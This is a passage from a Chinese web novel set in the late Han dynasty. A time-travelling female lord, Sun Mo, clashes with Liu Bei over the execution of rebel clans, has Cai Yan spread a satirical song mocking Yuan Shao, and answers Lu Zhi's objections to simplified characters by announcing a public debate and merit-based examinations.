刘备一脸尴尬,紧紧闭了嘴巴,心里发誓怀侯不说话,自己绝不再开口。 孙墨也是闭了嘴,看了刘备一眼。确定对方真的不说话了,才继续道:“妇孺固然无辜,但是为此战死的将士,就不无辜了吗?惩处过轻,没有威慑,以后还会有多少的将士为此而死?” 刘备寸步不让,他有自己坚守的理念:“我闻怀侯仁义之名播于天下,此等不仁之事,安可行之?若以杀止杀,恐失天下人心。” 孙墨沉默了。她突然有点体会到,当初贾诩在洛阳城时,面对自己的心情了。 究竟是坚持绝对的道义,还是允许权衡代价、换取利益? “君侯可知,天下熙熙,既入了局,便没有什么棋子是无辜的。”——这是贾诩当时对她说的。 命运的齿轮转了一圈,回旋镖终究还是扎到了自己身上。 孙墨的心情有些难以言喻,她把回旋镖一字不落地丢给了刘备:“君可知,天下熙熙,既入了局,便没有什么棋子是无辜的。” 然而刘备不是当初懵懂的孙墨,他比那时的孙墨更加坚定、更加执拗。当初的孙墨听不懂,现在的刘备却听得懂。 他回答的铿锵有力:“夫济大事必以人为本!” 孙墨:“……” 只这一句,她就明白了,自己和刘备,终究不是一条道上的人。 也是,她可以为了蔺治平承担天下骂名,但不可能为了兄弟姐妹的私仇,举倾国之兵去报仇。 这成就了蜀汉的浪漫,也毁了蜀汉的基业。 但他刘备,做的出来。 偏厅里的气氛陡然沉闷起来。 张飞望望自家大哥,又望望怀侯,想插话缓和一下气氛,又不知道说什么好。 明明应该是个皆大欢喜的庆功会,怎么就变成了现在这样? 张飞求助地望向了关羽。 关羽收到了张飞求助。他当然是站在大哥一边的,于是他凤目微眯,充满底气地火上浇油:“大哥说得对。” 张飞:“……” 都快别说话了! 他实在没撤了,极其生硬地转移话题,大嗓门震天响:“唉唉唉,此番袁绍大败,正是当庆功痛饮的时候。” 孙墨、刘备:……啊对对对。 两人不住的点头,仿佛刚才的争论完全没发生过。孙墨赞美刘备兄弟的勇武,刘备感谢孙墨的赏识,一时间无比热络起来。 ----------------- 十日后,一切尘埃落定。 在贾诩的精心安排下,太守府进行了一场浩大且公开的“审判”。 先是当众宣布了一众直接动手的世家的罪状,细数他们在暴乱中烧毁粮仓、杀害将士所造成的巨大损失,成功惹得城中百姓群情激愤。 然后,太守府又拉出被抓获的细作和许攸的尸身,痛诉怀、温两县的世家如何与外敌密谋,企图颠覆河内云云。 “铁证”如山,群情激愤。 最终,随着一声令下。 集市上,人头滚滚,血流成河。那些曾经高高在上的世家门阀,连同他们的家眷,在百姓的一片叫好和唾骂声中,灰飞烟灭。 从此,天下人都明白了。怀侯,不仅有活人无数的仁政,更有夷族灭门的雷霆手段! 当然,随着时间的推移,一些细碎的、质疑的声音开始在士林中出现了。 有人表示,并非所有被杀的世家都参与了谋反,比如温县的贾氏,就完全是遭遇了无妄之灾。 对此,孙墨只有一句话:谁主张,谁举证。 提出怀疑的人:…… 人都被你杀完了,还剩下什么证据?这不是耍流氓吗! 我虽然没证据,但是我就坚信你有问题。 于是,这细碎的讨伐声逐渐扩大,隐隐有从怀温两县,扩散到整个河内、甚至隐隐有扩散到整个中原和冀州士林的趋势。 一时间,孙墨竟然获得了“毒妇”的恶名。 对此,孙墨接受度异常良好。这点程度的骂,和她当年在祖安区的互喷比起来,简直是按摩。 但令人意外的是,甚至还有人特意写了一篇赋来骂她。 孙墨得知后简直受宠若惊。她怀着极其尊重的心情,要过来品鉴了一番。 只见上面写得洋洋洒洒: “墨本黔首,本无懿德,僄狡锋协,好乱乐祸……” “愚佻短略,轻进易退,伤夷折衄……”[1] 孙墨:…… 她看不下去了。 这短短不到三十个字里,她居然有三个字不认识?你骂就骂,但是为什么要骂得这么有文化?还让不让人品鉴了? 孙墨大怒,问写文的是谁。 蔡琰正在坐在一旁奋笔疾书,头也不抬的答曰:“此乃陈琳陈孔璋所作。他原是何进的主簿,现逃至冀州,负责为袁绍撰写文章。” 孙墨:……得,原来是这位。历史上写《为袁绍檄豫州文》骂曹操,结果骂得太狠、文笔太好,竟然把曹老板的头风给治好的那位。 孙墨摸了摸下巴,寻思着自己要不要也装生病,然后看到文章后病好,成为一段佳话。 还没寻思出结果,就见蔡琰停下了手中笔,轻轻吹干墨迹。 孙墨随口问道:“写的是啥?” 蔡琰声音淡淡,听不出喜怒:“骂袁绍的。” 孙墨硬是从这淡淡的语气中,听出了一种张牙舞爪的愤怒。 孙墨凑过去瞄了几眼。蔡琰写的文章倒是没啥生僻字了,但是里面引用了无数她看不懂的句子和不知名的典故,全程骂人不带脏字。 孙墨登时痛心疾首。她义正言辞的表示:“这样骂不行,文绉绉地顶多让读书人破一次防。你得骂得通俗,骂得脍炙人口,让田间百姓时不时就来一句。” 孙墨传播起现代网络骂战的精髓:“这样的骂,才有强大的传播力,才有持久的杀伤力。” 蔡琰若有所思,仿佛打开了新世界的大门。 她沉思片刻,然后大笔一挥,在纸上写下了两句极其接地气的话:“本初妙计安天下,损兵折将满地爬。” 孙墨:“……” 粗野间夹杂着那么一丝文化气息,雅俗共赏,挺好。 21.第 21 章 她刚想点赞,就见蔡琰又文思泉涌,续添几句,硬生生把其扩写成了朗朗上口的歌谣。自己甚至还轻哼了起来,试试韵律和节拍。 试韵结束,蔡琰挺满意,她转头征询孙墨的意见:“主公觉得如何?琰这就命人去抄写,让人去各处传唱?” 孙墨:…… 她觉得,就算是网上冲浪舌战群儒、面对网络喷神面不改色的自己,如果自己被编了个这种曲子天天被人在耳边传唱,估计经不住一遭。 我真的担心袁绍听到后,会被气得脑溢血。 “行,很好。” 孙墨默默给蔡琰点了双份的赞,顺便给远方的袁绍点了个蜡。 哦,对了,还有陈琳。 为了凑押韵,蔡琰顺手把那个写赋骂人的陈琳,也毫不留情地给编排进去了。 ----------------- 此歌一出,河内郡可谓是风起云涌。 由于这首歌毕竟是出自大儒之女、精通音律的蔡琰之手,虽然歌词通俗直白,但其音韵节拍却极其考究。所以这首在士大夫看来粗鄙不堪的词曲,在平头百姓听来,那简直就是既顺口又“文雅得很”。 一旦哼起来,百姓们觉得自己似乎也变得有文化了。 于是,秋收过后的田间地头,便常常出现这样的景象: “呦,老王,吃了吗?” “老李啊,吃了吃了。” “你听说了吗?那袁本初攻打咱们河内郡,明里暗里想了好多阴损的办法啊。” “那我当然知道。这不都早就传开了吗?又是细作又是策反的。”老王做作地拍了拍胸口,然后开始挤眉弄眼,扯着嗓子起了个调,“那句话咋说的?本初妙计安天下——” 识别关键字,老李立马熟练地接上,扯着嗓子高歌:“折兵折将满地爬,满地爬啊满地爬~” 嗓音粗哑,五音不全,没有一个调子是准的。但是,偏偏就是这种粗犷的唱腔,瞬间引起了周围光明正大旁听的吃瓜群众的叫好。 他们的竖起耳朵在田间劳作,就等着这歌被唱出来呢。只见他们纷纷放下锄头,拍着巴掌打起节拍,也跟着哈哈大笑,齐声接着唱道:“颜良文丑送人头,许攸作死把命搭!满地爬啊满地爬~” 他们最后汇聚成高昂的合唱,声音响彻云霄:“劝君莫惹怀侯怒,十万大军尽成灰。劝君莫惹怀侯怒,十万大军尽成灰!” 距离这片农田不远处的官道上。 之前那位在乱葬岗旁,亲眼目睹世家被灭门而感慨“富贵万千皆黄土”的老者,正坐在马车里。 听着外面如海潮般涌来的魔性歌声,老者:…… 他实在是经不住了,痛苦地揉了揉太阳穴。 作为天下名孺,他自持身份,向来听的都是雅乐正声,本不想听这等粗鄙之语。但这怀县的大街小巷、田间村头,几乎人人都在魔音贯耳般地哼唱。 这等发动人民群众的骂战,着实超越了他的认知。 他觉得自己实在是待不下去了。他必须早日见到这位不按常理出牌的怀侯,早日办完老友蔡邕?所说得正事,早日离开这个是非之地。 于是,他催促车夫快马加鞭,来到了太守府。 于是他走下马车,正要上前请门卫通传,就听见一旁响起了一个既熟悉又带着几分惊讶的声音:“老师?您怎么来了?” 正巧来太守府向孙墨辞行、准备动身前往汲县的刘备惊讶道: 老者寻声望去,只见一名双手过膝、气宇轩昂的将领正快步走来。 “玄德?你怎在这里?”老者也是一愣。 这老者,正是收到好友蔡邕关于“简化字”的探讨书信后,决定亲自来河内见一见这位怀侯的卢植。 卢植,天下大儒,董卓之时辞官隐居以避祸。也正是刘备的老师。 刘备见老师问话,不敢隐瞒,赶忙上前行大礼,然后将自己被怀侯破格提拔为校尉、领兵拒敌的事情,原原本本地说了一遍。 他以亲身经历者的身份,细细诉说了朝歌那场惊心动魄的大战,讲述了太守府的大军如何军纪严明、自己的二弟三弟如何勇不可挡,以及怀侯的谋士是如何运筹帷幄、一击制胜。 刘备说得绘声绘色,眼中满是对太守府兵威和谋略的钦佩。 然而,卢植的耳边,此刻却不由自主地循环回荡起那首洗脑神曲:“折兵折将满地爬,满地爬啊满地爬~” 卢植:“……” 这曲子的后遗症实在太强了。 “好了,”卢植实在是听不下去了,他抬手打断了刘备满怀激情的讲述,正色道,“叙旧的话日后再说。我今日来此,欲求见怀侯,有要事相商。” 刘备听了,赶忙亲自在前面引路,领着老师走进太守府,并高声对门卫道:“烦请通报,卢植卢公,求见怀侯!” 看门守卫很有眼力劲,见刘备如此,慌忙转身进去通传。 孙墨彼时正在书房内,头疼地审阅着内阁提交的各种表文,以及蔡琰整理好的批红。听见卫兵通报卢植来了,她惊讶地眨了眨眼。 蔡琰和自己提过,她的父亲蔡邕?把简化汉字的打算和方案,先行和当世几位大儒通了气。卢植,这位海内人望极高的大儒,就是这些人中的一位。 简化汉字这事,孙墨很有自知之明。她知道自己在“学术界”里面完全说不上话,用处不能说一点没有吧,有那么一点只能添乱的用。于是她非常痛快,毫无负担的当了个甩手掌柜,全权交给了蔡邕?安排。 当时蔡邕?还特意提前给孙墨打了预防针:简化字虽利于百姓开智,但必将遭到那些遵循古制、把持经学之人极其激烈的反对。要做好心里准备。 孙墨说得直率无比:实不相瞒,我文章典辞是一概不知,诗词歌赋是一窍不通,我能准备个啥? 蔡邕?:…… 他一言难尽地看着理直气壮摆烂的怀侯,实在没忍住,当场就开启了劝学模式。 孙墨:…… 那种感觉,简直是幻视学渣被班主任训话。 班主任在场我唯唯诺诺,班主任一走我放飞自我。 蔡邕?一离开,孙墨就把学习这事彻底遗忘。 而现在,另一位班主任卢植就在门口。 临时抱佛脚是来不及了。既然佛脚抱不了了,孙墨选择直接抱大腿。她慌不迭地的把蔡琰叫过来救场,一起去大堂等着卢植的到来。 哪知卢植刚进门,一眼见到蔡琰,连跟孙墨的客套寒暄都省了,直接板着一张脸子,对蔡琰严肃道:“这嘲讽袁渤海的田间歌谣,可以文姬你所做?” 卢植和蔡邕?是好友,自然也相熟蔡邕?的女儿蔡琰,故而说话毫不客气。 这歌谣是谁作的,在河内郡根本不是秘密,甚至蔡琰还有意无意地让太守府放出风声,这就是她写的。 此时她听到卢植的询问,面色不改,神情坦然点了点头:“子干(卢植的字)公,这正是琰所做。” 卢植恨铁不成钢:“你乃大家闺秀,名门才女。如此粗俗不堪、犹如市井骂街之辞,怎么能登大雅之堂?你这么做,不仅是在玷污你自己的 才学,更是在败坏伯喈兄(蔡邕)在士林中的清誉!” 蔡琰还没答话,孙墨先不乐意了:“卢公此言未免太过偏颇。。下里巴人未必不如阳春白雪。” 卢植目光转向孙墨,带着一丝大儒独有的压迫感:“怀侯欲与士林,还是欲与黔首?” 孙墨:“卢公欲教一人,还是欲教弟子三千?” 孔子有教无类收弟子三千,教七十二贤人。其中既有高官厚爵者,更有居于陋巷、穷困潦倒的颜渊,还有曾经是个街头混混的子路。 卢植自然明白孙墨所指,但他岂会被轻易绕进去。他避开有教无类的话题,直指核心,反驳道:“圣人教化万民,是以仁义礼智信导人向善。夫子何曾散播这等粗鄙的歌谣去侮辱他人?此乃小人行径,非君子所为!” 对此,确实有点理亏的孙墨摸了摸鼻子:“……” 她正想着如何怼回去,蔡琰却开口了:“卢公,琰敢问卢公,那歌谣中所言之事实,有半句不实乎?” 卢植一噎。 他虽然反感那歌谣,但他也清楚战局。许攸丧命,颜良文丑被斩,袁绍折兵损将,这些都是板上钉钉的事实。 “……并无不实。”卢植只能如实回答。 蔡琰:“如此,袁渤海做得,我们说不得?” 卢植退了一步:“不是说不得,而是不能用如此不雅的手段去骂。” 蔡琰步步紧逼:“陈孔璋(陈琳)作文,语言间贬怀侯之功,辱怀侯之人,颇有夸大。琰不过据实所述,为何不可?” 卢植:“……” 他拧眉望着蔡琰。他不信一向聪慧知书的蔡琰,会不懂这其中的区别。 蔡琰轻笑一声,带上了几分锐利:“卢公之所以觉得不可,说到底,只是因为袁渤海乃四世三公,成名已久;而我家主公是一女子之身,又出身微末,所以难登大雅之堂罢了。” “试问,若此战乃袁渤海得胜,此歌袁渤海命人所作,天下士人是会拊掌叫好,还是认为他袁渤海过于蛇蝎、杀人诛心?” 答案很明显。卢植抿嘴:“你既知如此,还冒天下之大不韪?” 蔡琰一笑:“卢公所言的‘天下’,真的是‘天下’吗?” 卢植:“……” 蔡琰在问,是士人之天下,还是百姓之天下? 卢植苦口婆心:“治天下者,士人也,黔首也?” 两句问话针尖对麦芒,谁也没法去答,但谁也不肯先让半步,就这么对视了半响。 孙墨站在一旁,看着这场没有硝烟的交锋,心中充满了震撼。 孙墨一直以为蔡琰温婉有加,却没想到她也有这么锋芒毕露的一面。此时,她只想拍掌叫好:“卢公,此番事,为我和袁绍争锋,成王败寇罢了。” 卢植眉毛拧得几乎要打结。 歌谣固然不雅,但他更纠结和痛心的是,这首骂人的粗鄙歌谣,明晃晃地打着“蔡琰所作”的标签。 蔡琰是谁?她是天下儒门魁首蔡邕的亲生女儿! 蔡邕?和郑玄,一在朝,一在野,共同撑起了如今大汉儒门的一片天。 蔡琰的所作所为,在某种程度上就代表着蔡邕?。她下场,等于是在用蔡邕?背书。 原先士子对怀侯屠世家口诛笔伐,现在,却都在讨论蔡邕?之女是何人,竟敢如此辱袁氏子! 卢植看着蔡琰那张平静而坚定的脸,突然明白了。 这位冰雪聪明的才女,不是不知轻重,而是故意这么做的。 她在用自己的名声,给怀侯扛雷。 22.第 22 章 怀、温血夜的后果太严重了,区区一郡太守,根本压不住士林的怒火。所以,蔡琰站了出来。 她是在用自己蔡氏女的名声,用她父亲蔡邕一辈子积攒的清流威望,去给孙墨站台。 卢植痛心疾首地问道:“文姬,你这么做,伯喈兄(蔡邕)知道吗?” 文姬文姬,蔡邕之女。她代表的不仅仅是自己,还代表着她那位身为儒门领袖的父亲。 蔡琰坦然地点点头:“父亲让我来怀县之时,就已经交代妥帖了。” 时间拉回数月前,蔡琰接到父亲的来信,赶到了怀县。 父女相见,一番互诉近况不谈。在离开前怀县回洛阳前,蔡邕特意拉着女儿嘱咐了一番。 除了让文姬出门在外、万事小心之外,他语重心长地多说了一句:“怀侯此番招揽你,未尝没有借你我名声,去安抚和拉拢天下士人之意。如果真有那么一天,怀侯需要你我的名声……” 这时的蔡琰,对孙墨还有所保留。她试探性地问道:“我当明哲保身?” 蔡邕挣扎了片刻,眉头紧锁。他是一个传统的士大夫,爱惜羽毛胜过生命。但在片刻的沉默后,他却重重地摇了摇头。 他重重道:“你若装作不知,以怀侯之胸襟,自然也不会为难你。但是,”蔡邕眼中闪过复杂的光,“怀侯将这简化字一事,从头到尾、毫无保留的交予了我……” 蔡邕眼中闪过纠结,但迅速被坚定取代:“这等教化万民之举,若是真能推行天下,其功业,不亚于夫子广收弟子,成万世师表。就算是千百年后,吾蔡伯喈之名,也当闪耀于浩荡青史,与日月同辉! “与之相比,借我这一时之虚名,又算得了什么?” 他说得沉重却坚定:“若真有需要我等名声的一天,你无需顾忌,依你心中所想,放手去做即可。” 名声于汉代的士人而言,是一切的敲门砖。汉时,不乏有为了保全名声而丧命之人。蔡邕这番话,几乎就代表着,他同意用自己这辈子积累下来的声望,来给孙墨背书。 蔡琰那时彻底怔住了。她怎么也没想到,父亲如此高看怀侯。 蔡邕看着目瞪口呆的女儿,眼中满是慈爱和期许:“以你的才情,若生为男子,必将功成名就,甚至超越为父。但你生而为女,在往日,这注定是个奢望。可是现在,既然出了个千古无二的女诸侯,在她麾下,为父亦相信,你同样也能扬名天下。” “所以,不必顾忌我,去做你认为对的事。为父,相信女儿的判断。” 回忆至此,蔡琰的眼眶微微有些湿润。她看着面前这位父亲的老友,徐徐说道:“卢公,在洛阳时,主公于父亲有救命之恩。父亲常言,滴水之恩当涌泉相报。” 蔡邕虽然爱惜羽毛,但也是个性情中人。否则,他也不会因为知遇之恩,冒天下之大不韪,哭董卓之死了。 卢植见蔡琰的态度如此,顿时知此事绝无回旋余地。这位大汉名孺,竟然一时无话可说。 双方沉默片刻,大堂里一时安静下来。 孙墨歪歪头,读懂空气,主动转换话题:“不知卢公此番前来,有何要事?” 卢植这才收拾起心情,说了此行原本的来意。 他收到蔡邕关于精简汉字的来信,大受震撼。作为传统经学的泰斗,他当即决定亲自来见怀侯,进行一番深入的学术探讨。 在他的潜意识里,能提出“简化字”这种惊天构想的,必定是一位博古通今、学富五车的不出世大儒。 因此,他做足了十二万分的准备。 只见他大儒气场全开,引经据典,博征旁引,先稍微论证了此事的可行性,客套了一番;随后话锋一转,大肆强调了当代汉字的严谨性,从《广雅》说到《仓颉篇》,从《诗》《书》谈到《说文解字》,侃侃而谈,如滔滔江水连绵不绝。 孙墨在一旁,听得那叫一个认真。只见她眼神无比清澈,如同小鸡啄米般不住地的点头。 卢植见孙墨居然没有反驳,反而听得如此入神,顿时大受鼓舞,于是越讲越激动,越讲越深奥。 一旁真能听懂的蔡琰看不下去了。她忍不住扶额,凑到孙墨耳边,小声提醒道:“卢公的意思是,他坚决不同意推行简化字。” 孙墨一个激灵,瞬间从听天书的放空状态清醒过来。 他居然不同意?! 她登时就坐直了。她惜字如金,对蔡琰小声道:“驳!” 于是嘴替蔡琰,也开始引经据典,博征旁引。他从商周文字演变,到春秋诸国文字不一,再到秦始皇命李斯改字,一统天下文字,侃侃而谈,如滔滔江水连绵不绝。 孙墨在一旁充当气氛组,极其捧场地大声附和:“对啊对啊。” 本以为孙墨已经被劝服的卢植:…… 他差点没一口气背过去。搞了半天,你刚才点头如捣蒜,不是因为赞同,而是因为你根本就没听懂? 总之,战场由卢植vs孙墨,转变成了卢植vs蔡琰。两个文化人一直辩到了日落时分,谁也没说服谁。 吉祥物孙墨,热心地给两人添了一杯又一杯水。她看着天色渐晚,两人的辩论陷入了僵局,突然灵光一闪,道:“既然两位谁都无论说服对方,那不如公开辩论?邀天下名师大儒都来参与,看这天下之人,是如何看待此事?” 卢植闻言,还没来及仔细思考其中的利弊,就见怀侯自顾自一拍掌、直接定下了:“好,就这么办。” 卢植:“……” 事已至此,他不答应也只能答应了。况且他也明白,单凭自己一张嘴,是说服不了怀侯的。 那就大家一起上! 自己回去便去修书几封,让一众老友过来,一定要阻止这场对于传统文字的“亵渎”! 孙墨笑眯眯目送卢植离去。她仿佛一只刚刚偷到小鱼干的猫,慵懒地伸了一个大大的腰,噙着一丝不怀好意的笑。 蔡琰难得见到孙墨这副神情,有些疑惑并且担忧的问道:“卢公本就不宜言辞见长,故琰能应对一二。他此去,必会召集友人相助,其中不乏善于辩论之人。若是公开辩论之时,反对简化者占了上风,那这简化字,岂不是推行不了了?” 孙墨听了,不由自主轻笑了一声。 她根本不在乎辩论的输赢。 输也好,赢也好,她要得是人来,要得是讨论度。 卢植摇人,正中下怀。 现在文娱的传播手段,放在东汉,简直是降维打击。 孙墨看着天边绚烂的晚霞,笑道:“辩论的结果不重要,只要这辩论办起来、吸引到足够多的人来怀县,能产生足够的讨论度,让全天下人都知道此事,那我们就赢了。” 有争议才有热度,有热度才有流量。等天下读书人的目光都聚焦在河内时…… 孙墨走出大堂,秋日徬晚的夕阳暖洋洋地照在身上,耀眼而不夺目。 仿佛预示着,未来将是个极好的天气。 “更何况,谁说我要根据这辩论的结果,来决定推不推行了?” 孙墨的话语带着一种君临天下的霸气: “我将在河内郡,举办文武科举,不论出身,不谈孝廉,只论才学,答题计分,分科取士。” “至于会简化字和数字者,”孙墨简单粗暴地给出了最具诱惑力的好处,“加分。” 天才熙熙,皆为利来。是选择虚无的坚持古制,还是选择唾手可及的功名利禄? 蔡琰彻底呆住了,这是她从未设想的角度。 这是真正改天换地的阳谋! --- -------------- 在sss卡【成汤祈雨】的影响下,孙墨上任河内太守的第一年,整个中原和三辅地区大旱连连,唯独河内郡风调雨顺,迎来了几十年不遇的粮食大丰收。 秋收时节,百姓们见家里成堆成堆的粮草,个个欢呼雀跃,甚至有人激动得嚎啕大哭。 想想过去的日子,前任河内太守王匡为了响应诸侯起兵讨董,大肆横征暴敛;再加上诸侯联军屯驻河内时,纵兵抄掠,百姓们更是苦不堪言,被杀的被杀,饿死的饿死,家破人亡、卖儿鬻女的比比皆是。 但自从新任太守孙墨上任,一切都变了。 她先是实行军屯,极其强势地解放了万千佃农,免了人头税,保障他们足以活命;又广设学堂,发放“读书粮”,让养不起孩子的家庭保住了骨肉;现在,她甚至又“带来”了风调雨顺,粮食丰收。 没错,在汉代经纬谶纬之学的影响下,“天人感应”的观念早已深入人心。帝王有德,上天就会降下祥瑞;帝王无德,上天就会降下灾祸。 在河内百姓的朴素观念里,现在的风调雨顺,都是怀侯带来的。更不要说,怀侯在洛阳城内,本就有“神凤临世、甘霖救火”的传说。 一时间,河内郡各地竟然如雨后春笋般,冒出了无数的大大小小的祠堂。里面不供奉漫天神佛,也不供奉汉室祖宗,正中央立着的,赫然是孙墨的长生牌位! 他们衷心地感谢孙墨活命之恩,虔诚地希望他们的太守能够长命百岁。 对此,唯物主义者孙墨,一无所知。 此事此刻,这位隐隐被百姓神话的女太守,正毫无形象地蹲在后院,满身尘土地跟一堆木头较劲。 她正忙着发挥自己身为土木工程高材生的半个专业特长,研究如何将汉代这种笨重且难掉头的“直辕犁”,改造成后世那种能极大提高耕作效率的“曲辕犁”。 据说曲辕犁的出现,让古代的亩产直直多了三成。孙墨对曲辕犁有个大概印象。她早就心痒难耐,想着充分发挥一下专业优势,把它给手搓出来。 那句话怎么说的?学好数理化,走遍天下都不怕。 咱理科生虽然不通文墨,写不了一手好字,但也是有尊严的!咱懂力学! 孙墨本来磨刀霍霍,却被袁绍的突然袭击给打断了。现在战事结束,内忧外患皆平,她也就把此事提上了日程。 感谢许攸,世家被屠了一遍,老实许多,不用多费心斗智斗勇了。 她终于可以沉迷研究。 现在的孙墨,天天除了“过目”内阁的表文,就是围着牛和木头打转做实验,进行曲辕犁的受力分析和杠杆原理研究。 她打算在下一次春耕之前,把曲辕犁量产并推广出去。 这事别人干不了,只有她亲自去做。因为只有她一个人,懂物理、懂力学! 自豪! 至于太守府其他人,也是忙得脚不沾地。他们在紧锣密鼓地准备关于简体字的辩论会,和随之而来的,科举。 怀侯以蔡邕和卢植的名义,广发传信,邀天下名士大儒、饱学之士齐聚怀县,共同商讨简体字之事。 与之同时,孙墨还在传信的末尾,毫不客气地夹杂了私货——文武科举的招贤令。 榜文中明确规定:凡天下有识之士、勇武之人,不论出身寒门还是世家,不谈孝廉不论门第,皆可来河内应试。只论才学武艺,答题计分,分科取士,唯才是举! 一石激起千层浪。 一时间,天下士林为之震动。所有的读书人、游侠儿、寒门子弟,甚至是一些世族子弟,都将目光投向了河内郡。 在这爆炸性的消息面前,沸沸扬扬的“怀侯屠戮怀县世家”之事,竟然就这么渐渐平淡了下去,少有人提。